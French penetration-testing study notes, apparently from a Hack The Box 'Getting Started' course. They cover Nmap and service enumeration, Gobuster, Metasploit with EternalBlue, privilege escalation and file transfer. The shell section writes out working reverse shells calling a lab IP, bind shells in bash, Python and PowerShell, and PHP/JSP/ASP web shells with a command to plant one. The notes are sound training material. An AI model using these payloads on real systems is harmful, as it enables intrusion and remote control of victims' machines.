| cover | .gitbook/assets/cyber2.jpg |
|---|---|
| coverY | 173.26359832635984 |
Le shell est un programme qui reçoit les entrées de l'utilisateur via le clavier et transmet ces commandes au système d'exploitation pour exécuter une fonction spécifique. Les systèmes Linux utilisent un programme appelé Bash comme shell pour interagir avec le système d'exploitation
{% hint style="success" %} Il existe 3 types de connections shell
- Reverse Shell
- Bind Shell
- Web Shell {% endhint %}
Les ports sont des points virtuels où les connexions réseau commencent et se terminent. Ils sont basés sur des logiciels et gérés par le système d'exploitation hôte. Les ports sont associés à un processus ou un service spécifique et permettent aux ordinateurs de différencier les différents types de trafic
Deux catégories de ports, Transmission Control Protocol (TCP), and User Datagram Protocol (UDP).
- Il y a
65,535TCPports et65,535differentUDPports
Different types of port
Un serveur web est une application qui s'exécute sur un serveur en arrière-plan. Il gère tout le trafic HTTP provenant du navigateur côté client, le redirige vers les pages demandées, puis répond au navigateur du client. Les serveurs web fonctionnent généralement sur les ports TCP 80 ou 443.
Il s'agit d'une liste normalisée des 10 principales vulnérabilités des applications web, maintenue par le projet OWASP (Open Web Application Security Project).
Un service : est une application qui s'exécute sur un ordinateur et qui effectue une fonction utile pour d'autres utilisateurs ou ordinateurs.
permettant aux utilisateurs d'interagir avec et de consommer ces différents services. Ce qui nous intéresse, ce sont les services qui ont été mal configurés ou qui présentent une vulnérabilité. Au lieu d'effectuer les actions attendues dans le cadre du service, nous sommes intéressés de voir si nous pouvons contraindre le service à effectuer une action non intentionnelle qui soutient nos objectifs, comme l'exécution d'une commande de notre choix.
nmap 10.129.42.253 - Nmap will only scan the 1,000 most common ports by default.
nmap -sV -sC -p- 10.129.42.253- We can use the
-sCparameter to specify thatNmapscripts should be used to try and obtain more detailed information. The-sVparameter instructsNmapto perform a version scan and -p- will scan all tcp 65,535 ports
The syntax for running an Nmap script is
nmap --script <script name> -p<port> <host>.
nmap -p 80 --script http-vuln-cve2019-19781 <adresse_IP>
Vulnerability => grave de Citrix NetScaler (CVE-2019–19781)
Définition : Technique utilisée pour identifier rapidement un service en capturant la bannière qu'il affiche lors de la connexion.
Une bannière est une réponse envoyée par un service lorsqu'une connexion est établie avec lui. Cette réponse peut contenir des informations sur le service lui-même, telles que sa version ou son nom, ce qui peut être utile pour identifier rapidement un service. La technique consistant à récupérer ces bannières est appelée "banner grabbing".
Outils
-
Nmap :
nmap -sV --script=banner <target> -
Netcat (nc) :
nc -nv <target> 21
Exemple de bannière :
220 (vsFTPd 3.0.3)
🚪 Port par défaut : 21
🔍 Utilisation avec Nmap
nmap -sC -sV -p21 <target>21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ...⌨️ Commandes FTP courantes :
ftp -p <target>ls: Liste les fichierscd <dir>: Change de répertoireget <file>: Télécharge un fichier
Protocole couramment utilisé sur les machines Windows.
Exploitation des vulnérabilités : Certaines versions de SMB peuvent être vulnérables aux exploits RCE (Remote Code Execution) comme EternalBlue. => Vulnerability
🔍 Utilisation avec Nmap :
nmap --script smb-os-discovery.nse -p445 <target>PORT STATE SERVICE
445/tcp open microsoft-ds
| smb-os-discovery:
| OS: Windows 7 Professional ...⌨️ Exploration des partages SMB :
smbclient -N -L \\<target>
smbclient -U <user> \\<target>\<share>Commandes :
ls: Liste les fichierscd <dir>: Change de répertoireget <file>: Télécharge un fichier
Versions : SNMP 1, 2c (texte clair), SNMP 3 (chiffré et authentifié)
Utilisation courante : Collecte d'informations sur les appareils réseau.
Commandes :
-
snmpwalk :
snmpwalk -v 2c -c public <target> 1.3.6.1.2.1.1.5.0
Exemple de résultat :
iso.3.6.1.2.1.1.5.0 = STRING: "gs-svcscan"
-
onesixtyone (brute force des community strings) :
onesixtyone -c dict.txt <target>
Exemple de résultat :
0.129.42.254 [public] Linux gs-svcscan 5.4.0-66-generic ...
{% hint style="warning" %} Lors des tests de pénétration, il est courant de trouver des serveurs web sur les ports 80 et 443. Ces serveurs hébergent des applications web qui représentent souvent une surface d'attaque importante. Une énumération web adéquate est cruciale pour identifier les potentielles vulnérabilités. {% endhint %}
Gobuster est un outil de découverte de contenu et de répertoire utilisé pour trouver des fichiers et des dossiers cachés sur les sites web.
-
Découverte de Répertoires et de Fichiers
gobuster dir -u <URL> -w <wordlist> -x <extensions>
Exemple :
gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -
Utilisation de Threads
gobuster dir -u <URL> -w <wordlist> -t <threads>
Exemple :
gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -
Énumération de Sous-Domaines
gobuster dns -d <domain> -w <wordlist>
Exemple :
gobuster dns -d example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -
Recherche de Vhosts
gobuster vhost -u <URL> -w <wordlist>
Exemple :
gobuster vhost -u https://example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
- 200 OK : La demande a réussi.
- 301 Moved Permanently : La ressource a été redirigée.
- 403 Forbidden : Accès interdit à la ressource.
WordPress is the most commonly used CMS (Content Management System) and has an enormous potential attack surface
Un CMS (Content Management System) : est un système de gestion de contenu qui permet de créer, modifier et publier facilement du contenu sur un site web. WordPress est l'un des CMS les plus populaires et est utilisé pour la création de sites web, de blogs et de boutiques en ligne.
WPScan est un outil pour analyser la sécurité des sites WordPress, identifiant les vulnérabilités, les utilisateurs, les plugins, etc.
wpscan --url <http://target-url.com>Installation de SecLists
git clone https://github.com/danielmiessler/SecLists{% code fullWidth="true" %}
gobuster dns -d inlanefreight.com -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt{% endcode %}
curl -IL https://www.inlanefreight.comHTTP/1.1 200 OK
Date: Fri, 18 Dec 2020 22:24:05 GMT
Server: Apache/2.4.29 (Ubuntu)
...
whatweb <URL>Exemple :
whatweb 10.10.10.121Les certificats peuvent fournir des informations sur les e-mails et les noms de l'organisation, utiles pour des attaques de phishing.
Ce fichier peut révéler des chemins cachés et des informations sensibles sur le serveur web.
User-agent: *
Disallow: /private
Disallow: /admin
Naviguer vers les URL mentionnées peut révéler des pages importantes comme des panneaux d'administration.
- EyeWitness : Pour prendre des captures d'écran des applications web cibles.
- Ffuf : Pour le fuzzing et l'énumération de contenu web.
git clone https://github.com/FortyNorthSecurity/EyeWitness.gitffuf -u https://example.com/FUZZ -w /path/to/wordlist.txtÉtape initiale :
Une fois les services identifiés via un scan Nmap, la première étape consiste à rechercher des exploits publics pour ces applications/services.
Méthodes de Recherche :
-
Google : Rechercher le nom de l'application/service suivi de "exploit".
https://www.google.com/
Installation :
sudo apt install exploitdb -yRecherche d'Exploits :
searchsploit <nom_application>Exemple :
searchsploit openssh 7.2Cela affiche une liste d'exploits disponibles pour OpenSSH 7.2.
Sources recommandées :
- Exploit DB : Base de données des exploits publics.
- Rapid7 DB : Base de données de vulnérabilités.
- Vulnerability Lab : Autre base de données en ligne.
Lancer Metasploit :
msfconsoleRecherche d'Exploit :
search exploit <vulnérabilité>Exemple :
search exploit eternalblueCela retourne les modules Metasploit correspondants à la vulnérabilité EternalBlue.
Charger un Module d'Exploit :
use <nom_complet_du_module>Exemple :
use exploit/windows/smb/ms17_010_psexecConfigurer les Options :
show options
set <nom_option> <valeur>Exemple :
set RHOSTS 10.10.10.40
set LHOST tun0Vérifier la Vulnérabilité :
checkLancer l'Exploit :
exploitExemple de Commandes :
meterpreter > getuid
meterpreter > shell| Type de Shell | Méthode de Communication |
|---|---|
| Reverse Shell | Se connecte à notre système et nous donne le contrôle via une connexion inverse. |
| Bind Shell | Attend que nous nous y connections pour nous donner le contrôle. |
| Web Shell | Communique via un serveur web, accepte nos commandes via des paramètres HTTP, les exécute et renvoie la sortie. |
Le Reverse Shell est une méthode rapide et courante pour obtenir le contrôle d'un hôte compromis.
Étapes pour utiliser un Reverse Shell :
-
Lancer un écouteur Netcat :
nc -lvnp 1234
- Options :
-l: Mode écoute-v: Mode verbose-n: Désactiver la résolution DNS-p: Numéro de port
- Options :
-
Trouver l'IP de notre système :
ip a
-
Commande de Reverse Shell :
-
Linux (bash) :
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f -
Windows (Powershell)
powershell -nop -c " $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234); $s = $client.GetStream(); [byte[]]$b = 0..65535 | %{ 0 }; while (($i = $s.Read($b, 0, $b.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b, 0, $i); $sb = (iex $data 2>&1 | Out-String); $sb2 = $sb + 'PS ' + (pwd).Path + '> '; $sbt = ([text.encoding]::ASCII).GetBytes($sb2); $s.Write($sbt, 0, $sbt.Length); $s.Flush(); }; $client.Close(); "
-
-
Recevoir la connexion dans Netcat :
nc -lvnp 1234
Remarque :
Un Reverse Shell peut être fragile ; toute interruption nécessite de réexécuter la commande de Reverse Shell.
{% code fullWidth="true" %}
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10', 1234);
# Crée un nouvel objet TCPClient qui se connecte à l'adresse IP 10.10.10.10 sur le port 1234.
# Cela établit une connexion à un serveur distant, qui peut être utilisé pour recevoir des commandes.
$s = $client.GetStream();
# Récupère le flux de données associé à la connexion TCP établie.
# Ce flux permet de lire et d'écrire des données sur la connexion.
[byte[]]$b = 0..65535 | %{ 0 };
# Initialise un tableau de bytes de taille 65536, rempli de zéros.
# Ce tableau servira de tampon pour stocker les données lues depuis le flux.
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
# Boucle tant que des données sont lues depuis le flux.
# $s.Read lit les données entrantes et renvoie le nombre de bytes lus.
# Si aucune donnée n'est lue (le flux est fermé), la boucle s'arrête.
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b, 0, $i);
# Convertit les bytes lus en une chaîne de caractères en utilisant l'encodage ASCII.
# $data contient donc les commandes envoyées par l'attaquant via la connexion TCP.
$sb = (iex $data 2>&1 | Out-String);
# Exécute la commande contenue dans $data en utilisant `Invoke-Expression` (iex).
# Redirige la sortie standard et les erreurs (2>&1) pour capturer tout ce qui est renvoyé.
# La sortie est convertie en chaîne de caractères complète avec `Out-String`.
$sb2 = $sb + 'PS ' + (pwd).Path + '> ';
# Prépare la sortie à envoyer de retour à l'attaquant.
# Ajoute l'invite de commande "PS [chemin actuel] > " pour simuler un terminal PowerShell.
$sbt = ([text.encoding]::ASCII).GetBytes($sb2);
# Convertit la chaîne de caractères de la sortie en un tableau de bytes en utilisant l'encodage ASCII.
$s.Write($sbt, 0, $sbt.Length);
# Écrit la réponse sur le flux de données, l'envoyant ainsi au serveur/attaquant.
$s.Flush();
# Vide le buffer du flux, s'assurant que toutes les données sont bien envoyées.
};
$client.Close();
# Ferme la connexion TCP proprement.
{% endcode %}
Le Bind Shell attend que nous nous y connections.
Étapes pour utiliser un Bind Shell :
-
Commande de Bind Shell :
-
Linux (bash)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f -
Python :
python -c 'exec(""" import socket as s import subprocess as sp s1 = s.socket(s.AF_INET, s.SOCK_STREAM) s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1) s1.bind(("0.0.0.0", 1234)) s1.listen(1) c, a = s1.accept() while True: d = c.recv(1024).decode() p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE) c.sendall(p.stdout.read() + p.stderr.read()) """)' -
Windows (Powershell) :
powershell -NoP -NonI -W Hidden -Exec Bypass -Command { $listener = [System.Net.Sockets.TcpListener]1234 $listener.Start() $client = $listener.AcceptTcpClient() $stream = $client.GetStream() [byte[]]$bytes = 0..65535 | % {0} while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i) $sendback = (iex $data 2>&1 | Out-String) $sendback2 = $sendback + "PS " + (pwd).Path + " " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte, 0, $sendbyte.Length) $stream.Flush() } $client.Close() }
-
-
Connexion avec Netcat :
nc 10.10.10.1 1234
{% hint style="warning" %} Terminal
- Définition : Un terminal est une interface pour la communication avec l'ordinateur. Historiquement, il s'agissait de dispositifs physiques avec un écran et un clavier. Aujourd'hui, ce sont principalement des émulateurs de terminal qui fonctionnent sur des systèmes d'exploitation graphiques.
- Usage : Il permet à l'utilisateur d'interagir avec le système d'exploitation en tapant des commandes.
TTY
- Définition : TTY signifie "teletypewriter" (téléimprimeur). Dans Unix/Linux, il fait référence à un périphérique qui gère les connexions de terminal, que ce soit physique ou virtuel.
- Usage : Il représente un canal de communication entre le terminal (ou un émulateur de terminal) et le système d'exploitation. Chaque terminal ouvert ou chaque session SSH est associé à un TTY.
Shell
- Définition : Un shell est un interpréteur de commandes qui permet à l'utilisateur d'exécuter des commandes sur le système d'exploitation. Des exemples courants incluent bash, zsh, sh, etc.
- Usage : Il interprète les commandes tapées par l'utilisateur et les exécute. Il fournit également des fonctionnalités comme des scripts pour automatiser les tâches.
Console
- Définition : Une console est souvent utilisée de manière interchangeable avec un terminal, mais dans le contexte Unix/Linux, elle fait souvent référence à l'interface principale de saisie/sortie du système. C'est le dispositif où les messages de démarrage et les journaux système sont envoyés.
- Usage : Après le démarrage, la console peut devenir un terminal où des sessions interactives peuvent avoir lieu.
En Résumé
- Terminal : Interface utilisateur pour taper des commandes (physique ou émulateur).
- TTY : Dispositif Unix/Linux pour gérer les connexions de terminal.
- Shell : Interpréteur de commandes (exécute les commandes entrées par l'utilisateur).
- Console : Dispositif principal de saisie/sortie du système, souvent utilisé pour des tâches de diagnostic ou de maintenance système.
{% endhint %}
Remarque :
Un Bind Shell est plus résilient qu'un Reverse Shell pour les reconnections.
{% hint style="info" %} Upgrading TTY
Lorsqu'on se connecte à un shell via Netcat, nous avons accès à un shell limité où nous pouvons taper des commandes et utiliser la touche retour arrière, mais nous ne pouvons pas déplacer le curseur de texte pour éditer les commandes ni accéder à l'historique des commandes. Pour surmonter ces limitations et obtenir une expérience de shell plus complète (comme celle fournie par SSH), nous devons "upgrader" notre TTY (teletypewriter).
Étapes pour Améliorer le TTY
- Utilisation de Python pour générer un shell interactif complet
-
Dans notre shell Netcat, nous utilisons Python pour lancer un shell interactif :
python -c 'import pty; pty.spawn("/bin/bash")' -
Cette commande utilise Python pour exécuter
/bin/bashet nous donner un shell interactif.
-
- Mise en arrière-plan du shell Netcat
-
Après avoir exécuté la commande Python, nous mettons notre shell en arrière-plan en utilisant
ctrl+z:^Z
-
Cela nous ramène à notre terminal local.
-
- Configuration du terminal local pour une interaction brute
-
Sur notre terminal local, nous exécutons les commandes suivantes :
stty raw -echo -
stty raw -echoconfigure le terminal pour une interaction brute et désactive l'écho des caractères.
-
- Ramener le shell Netcat au premier plan
-
Nous ramenons notre shell Netcat au premier plan en utilisant la commande
fg:fg -
Après avoir exécuté
fg, nous pouvons appuyer sur [Enter] pour revenir au shell interactif.
-
- Ajuster les paramètres du terminal
-
Nous pouvons remarquer que le shell ne couvre pas toute la taille du terminal. Pour corriger cela, nous devons obtenir et définir certaines variables :
-
Ouvrez une nouvelle fenêtre de terminal sur notre système, maximisez-la ou définissez la taille souhaitée, puis exécutez les commandes suivantes pour obtenir les valeurs nécessaires :
echo $TERM
stty size
-
echo $TERMrenvoie le type de terminal (par exemple,xterm-256color). -
stty sizerenvoie le nombre de lignes et de colonnes (par exemple,67 318).
-
-
Ensuite, nous retournons à notre shell Netcat et exécutons les commandes suivantes pour ajuster les variables :
export TERM=xterm-256colorstty rows 67 columns 318
-
{% endhint %}
Le Web Shell utilise un script web pour exécuter des commandes via des requêtes HTTP.
-
PHP :
<?php system($_REQUEST["cmd"]); ?>
-
JSP :
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
-
ASP :
<% eval request("cmd") %>
-
Déterminer le répertoire web (webroot) :
- Apache :
/var/www/html/ - Nginx :
/usr/local/nginx/html/ - IIS :
c:\inetpub\wwwroot\ - XAMPP :
C:\xampp\htdocs\
- Apache :
-
Écrire le Web Shell dans le webroot :
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
- Naviguer via un navigateur ou cURL :
-
Navigateur :
http://SERVER_IP:PORT/shell.php?cmd=id -
cURL :
curl http://SERVER_IP:PORT/shell.php?cmd=id
-
{% hint style="warning" %} Définition : L'élévation de privilèges consiste à exploiter une vulnérabilité locale ou interne pour passer d'un utilisateur à faible privilège à un utilisateur ayant des droits complets (root sur Linux ou administrateur/SYSTEM sur Windows). {% endhint %}
- HackTricks et PayloadsAllTheThings : Ressources pour des checklists sur l'élévation de privilèges sur Linux et Windows.
- Utiliser ces checklists pour s'habituer à différentes commandes et techniques d'exploitation des faiblesses.
- Linux : LinEnum, linuxprivchecker.
- Windows : Seatbelt, JAWS.
- PEASS (Privilege Escalation Awesome Scripts SUITE) : Pour Linux et Windows.
- Attention : Ces scripts peuvent déclencher des logiciels de sécurité, privilégier l'énumération manuelle si nécessaire.
- Vérifier les versions de l'OS pour des vulnérabilités connues.
- Exemple : CVE-2016-5195 (DirtyCow) pour Linux 3.9.0-73-generic.
- Linux :
dpkg -lpour lister les logiciels installés. - Windows : Explorer C:\Program Files.
- Chercher des exploits publics pour les versions obsolètes de logiciels installés.
sudo -lpour lister les privilèges sudo de l'utilisateur.- Exploiter des commandes spécifiques avec sudo (cf. GTFOBins pour des commandes exploitables).
- Identifier les binaires SUID qui peuvent être exploités.
- Identifier et exploiter les privilèges de jetons utilisateurs sous Windows.
- Linux : Cron jobs.
- Répertoires à vérifier pour des permissions d'écriture :
/etc/crontab,/etc/cron.d,/var/spool/cron/crontabs/root.
- Répertoires à vérifier pour des permissions d'écriture :
- Windows : Tâches planifiées.
- Ajouter de nouvelles tâches ou modifier des tâches existantes pour exécuter des scripts malveillants.
- Rechercher dans les fichiers de configuration, logs et historiques des utilisateurs pour des mots de passe ou informations sensibles.
- Vérifier la réutilisation des mots de passe pour différents services.
- Lire les clés privées SSH si les permissions le permettent (
/home/user/.ssh/id_rsa). - Ajouter une clé publique à
authorized_keyssi l'on a des permissions d'écriture.- Générer une paire de clés :
ssh-keygen -f key.
- Générer une paire de clés :
- Outils :
- GTFOBins : Liste de commandes exploitables avec sudo.
- LOLBAS : Liste d'applications Windows exploitables.
- Références :
Objectif : Transférer des fichiers vers et depuis un serveur distant lors d'un test de pénétration, en utilisant des méthodes variées, que ce soit avec des shells standards ou des outils comme Metasploit.
a. Python HTTP Server
-
Sur la machine locale, démarrer un serveur HTTP :
bmrroboteLiot@htb[/htb]$ cd /tmp mrroboteLiot@htb[/htb]$ python3 -m http.server 8000 -
Sur la machine distante, télécharger le fichier avec wget :
user@remotehost$ wget http://10.10.14.1:8000/linenum.sh
-
Ou avec cURL :
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
-
Transférer un fichier avec scp en utilisant des identifiants ssh :
mrroboteLiot@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh
-
Encoder le fichier en base64 sur la machine locale :
mrroboteLiot@htb[/htb]$ base64 shell -w 0
-
Sur la machine distante, décoder et créer le fichier :
user@remotehost$ echo f0VMRgIBAQ... | base64 -d > shell
-
Commande file : Vérifier le type de fichier transféré.
user@remotehost$ file shell
-
Commande md5sum : Comparer les hash md5 pour s'assurer de l'intégrité du fichier.
-
Sur la machine locale :
mrroboteLiot@htb[/htb]$ md5sum shell
-
Sur la machine distante :
user@remotehost$ md5sum shell
-
{% file src=".gitbook/assets/Getting_Started_Module_Cheat_Sheet.pdf" %} CheatSheet {% endfile %}
.png)
.png)